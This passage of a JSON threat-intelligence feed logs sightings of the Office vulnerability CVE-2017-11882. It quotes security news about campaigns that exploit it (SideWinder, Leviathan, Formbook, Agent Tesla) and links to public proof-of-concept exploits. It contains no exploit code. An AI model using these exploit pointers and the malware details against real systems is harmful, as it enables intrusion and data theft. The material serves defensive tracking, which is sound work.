\u0430\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f CVE-2017-0199, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0435 \u0437\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 StealerBot \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 DLL-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0442\u0430\u043a\u0442\u0438\u043a SideWinder \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0433\u0435\u043e\u0437\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430\u043c\u0438, \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u043c\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433\u0430.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 IP-\u0430\u0434\u0440\u0435\u0441 \u0436\u0435\u0440\u0442\u0432\u044b \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442, \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0443\u0441\u0442\u043e\u0439 \u0444\u0430\u0439\u043b RTF \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 RTF-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044e \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b, \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e StealerBot.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e, StealerBot - \u044d\u0442\u043e\u00a0.NET-\u0438\u043c\u043f\u043b\u0430\u043d\u0442, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0438 \u0441\u0431\u043e\u0440\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0441\u043f\u0435\u043a\u0442\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u043d\u0438\u043c\u043a\u0438 \u044d\u043a\u0440\u0430\u043d\u0430, \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448, \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u0444\u0430\u0439\u043b\u044b.\n\nSideWinder \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u043b\u0433\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0442\u0435\u043c\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0431\u0435\u0437 \u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0435\u0437\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f - \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u043f\u0440\u0435\u0435\u043c\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u044b\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f.\n\n\u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 TTPs \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0438 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438, \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u044e\u0449\u0443\u044e \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c \u0446\u0435\u043b\u044f\u043c \u0438 \u0437\u0430\u0447\u0430\u0441\u0442\u0443\u044e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438.", "creation_timestamp": "2025-05-22T17:00:07.000000Z"}, {"uuid": "ce51520f-cb04-486d-b326-25a3ee270f6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/HackerOne/1303", "content": "https://github.com/embedi/CVE-2017-11882", "creation_timestamp": "2017-11-21T07:39:51.000000Z"}, {"uuid": "d1a62475-975b-42b8-8f21-b5b56ff5ac9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/HackerOne/1408", "content": "https://researchcenter.paloaltonetworks.com/2017/12/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/", "creation_timestamp": "2017-12-08T16:57:37.000000Z"}, {"uuid": "474ae947-905a-41b5-8a49-ae08dd3d1dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/information_security_channel/15793", "content": "New KevDroid Android Backdoor Discovered\nhttp://feedproxy.google.com/~r/Securityweek/~3/xkt1vWLtTqw/new-kevdroid-android-backdoor-discovered\n\nSecurity researchers have discovered a new Android Remote Access Trojan (RAT) that can steal a great deal of information from infected devices.\nDubbed KevDroid, the mobile threat can steal contacts, messages, and phone history, while also able to record phone calls, Talos reports. Two variants of the malware have been identified so far. \nOne of the variants exploits CVE-2015-3636 to gain root access, but both implement the same call recording capabilities, taken from an open-source project on GitHub. \nOnce it has infected a device, the first KevDroid variant can gather and siphon information such as installed applications, phone number, phone unique ID, location, stored contacts information, stored SMS, call logs, stored emails, and photos. \nLarge in size, the second variant of the malware was hosted at the same URL in February, and has been observed using SQLite databases to store data. It includes the same data gathering capabilities, along with camera recording, audio recording, web history stealing, file stealing, and the ability to gain root on the device. \nAn ELF file embedded in the APK attempts to exploit the CVE-2015-3636 vulnerability using code available on GitHub to obtain root permission. By gaining higher privileges, the malware can perform more in-depth actions, including stealing files from other applications. \n\u201cIf an adversary were successful in obtaining some of the information KevDroid is capable of collecting, it could result in a multitude of issues for the victim. The social aspect of a mobile device results in a large amount of data residing on the device. This can be sensitive data, such as photographs, passwords, banking information or social engineering,\u201d Talos notes. \nAttackers could also blackmail victims using images or information deemed secret, could steal credentials and multi-factor tokens (SMS MFA), and could also engage in banking/financial fraud using their access to privileged information. Should the infected device be used in corporate environments, a KevDroid attack could lead to cyber espionage, Talos says. \nWhile analyzing the threat, the security researchers also discovered a Windows-targeting RAT hosted on the same C&C server. They called the malware PubNubRAT, because of it uses the PubNub global data stream network (DSN) as a C&C and leverages PubNub API to send orders to the compromised systems. \n\u201cUsing legitimate services is always challenging for defenders. It's hard to identify malicious communications hidden in legitimate network flows (especially if the requests use encryption via HTTPS),\u201d Talos notes.\nA RTF file attempting to exploit the CVE-2017-11882 vulnerability in Office using an embedded Microsoft Equation object is used for infection. The document is written in Korean and contains information on Bitcoin and China. \nOnce it has infected a system, the malware can steal files, download files, execute commands, kill processes, and take screenshots. \nAccording to Talos, they started the investigation into these malware families because of a possible link to Group 123, but the evidence they discovered was too weak to identify a clear connection with the group. \n\u201cWe do not have a strong link between the two malware samples and Group 123. The TTP overlaps are tenuous \u2014 using public cloud infrastructure as a C2 server is something other malware has used before as a technique, not just Group 123. Additionally, the C2 server is hosted in Korea, and this malware has been known to target Korean users. However, this information cannot lead us to a strong link,\u201d Talos concludes. \nRelated: 3 Million New Android Malware Samples Discovered in 2017\nRelated: Android Malware Steals Data from Social Media Apps", "creation_timestamp": "2018-04-03T21:53:41.000000Z"}, {"uuid": "ddbc09a1-66a3-4ea7-a871-1ba0ff241bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/29050", "content": "Multiple Chinese Groups Share the Same RTF Weaponizer\nhttp://feedproxy.google.com/~r/Securityweek/~3/5K_97JR4HFw/multiple-chinese-groups-share-same-rtf-weaponizer\n\nDuring an investigation into a possibly shared RTF weaponizer by Indian and Chinese APT groups, researchers have discovered that multiple Chinese groups have updated the weaponizer to exploit the Microsoft Equation Editor (EE) vulnerability CVE-2018-0798. The same weaponizer had previously delivered exploits for EE vulnerabilities CVE-2017-11882 and CVE-2018-0802.\nread more (https://www.securityweek.com/multiple-chinese-groups-share-same-rtf-weaponizer)", "creation_timestamp": "2019-07-03T21:31:08.000000Z"}, {"uuid": "d1ff22ba-2ef6-4e75-b305-4ddcbfa36375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/11105", "content": "RT @TheHackersNews: 17-Year-Old Microsoft Office RCE Vulnerability (CVE-2017-11882) Allows Hackers to Install Malware On Windows PCs Wi\u2026", "creation_timestamp": "2017-11-15T21:50:34.000000Z"}, {"uuid": "87c5f1a0-c2a9-4b57-a94d-6e2bfffa2d43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/11068", "content": "17-Year-Old Microsoft Office RCE Vulnerability (CVE-2017-11882) Allows Hackers to Install Malware On Windows PCs Wi\u2026 https://t.co/8T5h6ya2FB", "creation_timestamp": "2017-11-15T11:11:01.000000Z"}, {"uuid": "5c7556bd-4feb-4f6a-9590-95b7f27b456c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/14538", "content": "China-linked Hackers Target Engineering and Maritime Industries\nhttp://feedproxy.google.com/~r/Securityweek/~3/XyHzIV30FB8/china-linked-hackers-target-engineering-and-maritime-industries\n\nA China-related cyberespionage group that has been active for half a decade has increased its attacks on engineering and maritime entities over the past months, FireEye reports.\nReferred to as Leviathan or TEMP.Periscope, the group has been historically interested in targets connected to South China Sea issues, which hasn't changed in the recently observed attacks. Targets include research institutes, academic organizations, and private firms in the United States.\n\u201cThe current campaign is a sharp escalation of detected activity since summer 2017. Like multiple other Chinese cyber espionage actors, TEMP.Periscope has recently re-emerged and has been observed conducting operations with a revised toolkit,\u201d FireEye says. \nOver the years, the group has also shown interest in professional/consulting services, high-tech industry, healthcare, and media/publishing. Most of the identified victims were in the United States, with some located in Europe and at least one in Hong Kong. \nThe group\u2019s tactics, techniques, and procedures (TTPs), as well as its targets, overlap with those associated with the group called TEMP.Jumper, which in turn overlaps significantly with the NanHaiShu group. \nThe recently observed spike in activity also revealed the use of a broad range of malware that other suspected Chinese groups also use. These tools include backdoors, reconnaissance tools, file stealers, and webshells. \nThe first of the backdoors is Airbreak, a JavaScript-based tool that retrieves commands from hidden strings in compromised webpages and actor controlled profiles on legitimate services. \nA second backdoor is Badflick, which can modify the file system, generate a reverse shell, and modify its command and control (C&C) configuration.\nAnother similar piece of malware is Photo, a DLL backdoor that gets directory, file, and drive listing; creates a reverse shell; records the screen, video, and audio; lists, terminates, and creates processes; creates and modifies registry keys and values; logs keystrokes, returns usernames and passwords from protected storage; and can read, create, and modify files.\nThe group also used Homefry, a 64-bit Windows password dumper/cracker previously used along with the first two backdoors. Based on received commands, it can either display cleartext credentials for each login session, or can display cleartext credentials, NTLM hashes, and malware version for each login session.\nOther tools employed by the hackers include Lunchmoney (which can exfiltrate files to Dropbox) and Murkytop, a command-line reconnaissance tool (which can execute files; move and delete files; schedule remote AT jobs; perform host discovery; scan for open ports in a connected network; and retrieve information about the operating system, users, groups, and shares on remote hosts).\nIn recent attacks, the group was also observed employing the China Chopper code injection webshell capable of executing Microsoft .NET code within HTTP POST commands (thus, it can upload and download files, execute applications, list directory contents, access Active Directory, access databases, and more). \nPreviously, the group used the Beacon backdoor (commercially available as part of the Cobalt Strike software platform), and the Blackcoffee backdoor that hides C&C communication as traffic to legitimate websites such as Github and Microsoft's Technet portal. \nThe group has been also observed using spear phishing emails; lure documents attempting to exploit CVE-2017-11882 to drop malware; stolen code signing certificates to sign their malware; bitsadmin.exe and PowerShell to download additional tools; and Windows Management Instrumentation (WMI) and Windows Shortcut files (.lnk) for persistence.", "creation_timestamp": "2018-03-16T21:52:43.000000Z"}, {"uuid": "1a5bfcf7-7393-49be-b250-284a4b360540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/21712", "content": "Obfuscated Equation Editor Exploit (CVE-2017-11882) spreading Hawkeye Keylogger\nhttps://blogs.quickheal.com/obfuscated-equation-editor-exploit-cve-2017-11882-spreading-hawkeye-keylogger/\n\nCyber-attacks through phishing emails are increasing and generally, attackers use DOC embedded macros to infiltrate victim\u2019s machine. Recently Quick Heal Security Labs came across a Phishing e-mail sample which uses Microsoft\u2019s equation editor exploit to spread Hawkeye keylogger. Cybercriminals use different techniques to steal confidential data. Now they are offering\u2026", "creation_timestamp": "2018-11-01T07:18:46.000000Z"}, {"uuid": "95b8c755-e02a-4f02-80f4-47e276b15f60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/12842", "content": "Malspam campaigns exploiting recent MS Office vulnerability \u2018CVE-2017-11882\u2019 \u2013 An Analysis by Quick Heal Security Labs\nhttp://blogs.quickheal.com/malspam-campaigns-exploiting-recent-ms-office-vulnerability-cve-2017-11882/\n\nNo wonder malspam campaigns are a major medium to spread malware. Previously, we have written about such campaigns making use of MS Office malware such as malicious macro,\u00a0CVE-2017-0199, CVE-2017-8759\u00a0and DDE-based attack. Recently, we have started observing various malspam campaigns exploiting the latest MS Office vulnerability CVE-2018-11882. Let\u2019s take a look\u2026", "creation_timestamp": "2018-02-05T12:19:22.000000Z"}, {"uuid": "52ca2355-dd68-4e80-bd08-0baf19958ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/24178", "content": "FORMBOOK Malware Delivered via Weaponized RTF Word Docs \u2013 Using CVE-2017-11882\nhttps://gbhackers.com/formbook-malware-weaponized-rtf/", "creation_timestamp": "2019-01-30T08:43:10.000000Z"}, {"uuid": "5cb1f0f1-8e66-417a-b3df-6e368ba788ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/24180", "content": "Formbook campaign with what looks like a few changes. Recently the criminals distributing this malware have been using .exe files inside various forms of an archive, including .iso, .ace, .rar. , zip. Frequently they use various Microsoft Office Equation Editor exploits to contact a remote site & download the payload. Very occasionally I have seen [\u2026]\nThe post FORMBOOK Malware Delivered via Weaponized RTF Word Docs \u2013 Using CVE-2017-11882 (https://gbhackers.com/formbook-malware-weaponized-rtf/) appeared first on GBHackers On Security (https://gbhackers.com/).", "creation_timestamp": "2019-01-30T08:43:10.000000Z"}, {"uuid": "759dccfd-b558-4eb7-a52c-125f9913b333", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/information_security_channel/32090", "content": "Microsoft Office Bug Remains Top Malware Delivery Vector\nhttps://www.darkreading.com/operations/microsoft-office-bug-remains-top-malware-delivery-vector/d/d-id/1336182?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple\n\nCVE-2017-11882 has been attackers' favorite malware delivery mechanism throughout the second and third quarters of 2019.", "creation_timestamp": "2019-10-25T22:37:09.000000Z"}, {"uuid": "579a7663-2251-4f03-bee4-f6e74130719b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/thehackernews/4318", "content": "\ud83d\udea8 \ud83d\udcbb Beware of phishing emails with invoice-themed attachments! Attackers are using an old Office vulnerability (CVE-2017-11882) to spread the Agent Tesla malware and steal sensitive information. \n \nLearn more: https://thehackernews.com/2023/12/hackers-exploiting-old-ms-excel.html", "creation_timestamp": "2023-12-21T08:55:58.000000Z"}, {"uuid": "76c710c8-1e17-41ca-be8c-661b57d8d0de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/canyoupwnme/3647", "content": "CVE-2017\u201311882 RTF\nhttps://medium.com/@__fastcall/cve-2017-11882-rtf-44d671dc0fce", "creation_timestamp": "2018-04-25T22:56:36.000000Z"}, {"uuid": "15741c2f-1822-49a2-8583-5e0b48db2ffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/haccking/1735", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 #exploit \n@Haccking\nCVE-2017-11882 \u0438\u043b\u0438 \u0412\u0437\u043b\u043e\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.", "creation_timestamp": "2017-11-25T11:00:21.000000Z"}, {"uuid": "a2b97252-b971-4895-bfaa-86c1f43fe941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/haccking/1758", "content": "#\u041e\u0431\u0443\u0447\u0435\u043d\u0438\u0435  #\u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435kali  #msfconsole\n@Haccking\nCVE-2017-11882 MS Word Metasploit.", "creation_timestamp": "2017-11-30T17:30:24.000000Z"}, {"uuid": "5a04f1c4-eecd-4aa8-8f8f-5aca158e16cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/canyoupwnme/2929", "content": "CVE-2017-11882 Exploited to Deliver a Cracked Version of the Loki Infostealer\nhttp://blog.trendmicro.com/trendlabs-security-intelligence/cve-2017-11882-exploited-deliver-cracked-version-loki-infostealer/", "creation_timestamp": "2017-12-21T16:32:39.000000Z"}, {"uuid": "9648679c-e905-4448-b17e-4923c5b8151e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/SecLabNews/4426", "content": "\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0438\u0437 \u0421\u0435\u0440\u0431\u0438\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2017-11882) \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b Microsoft Equation \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446 \u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432. \u0412 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u0435 \u043c\u0435\u0441\u044f\u0446\u044b \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u044b Mimecast Research Labs \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u044b\u0448\u0435\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 \u0434\u0440\u0443\u0433\u0438\u043c, \u0435\u0449\u0435 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0431\u0430\u0433\u043e\u043c \u0432 MS Word.    \n\u041a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0431\u0430\u0433 \u0432 Microsoft Equation \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432", "creation_timestamp": "2019-03-07T09:37:36.000000Z"}, {"uuid": "38f347d7-043e-46fe-8a42-526a7fcbbafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/cybershit/173", "content": "#\u0421\u043e\u0431\u044b\u0442\u0438\u0435\n\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043e \u0442\u043e\u043c, \u043a\u0430\u043a Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS Office, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 17 \u043b\u0435\u0442. \u0422\u0430\u043a\u0438\u0435 \u0434\u0435\u043b\u0430.\n\nRCE (CVE-2017-11882):\n- \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 MS Office\n- \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 MS Windows (x86 / x64)\n- \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c\n- \u043d\u0435 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 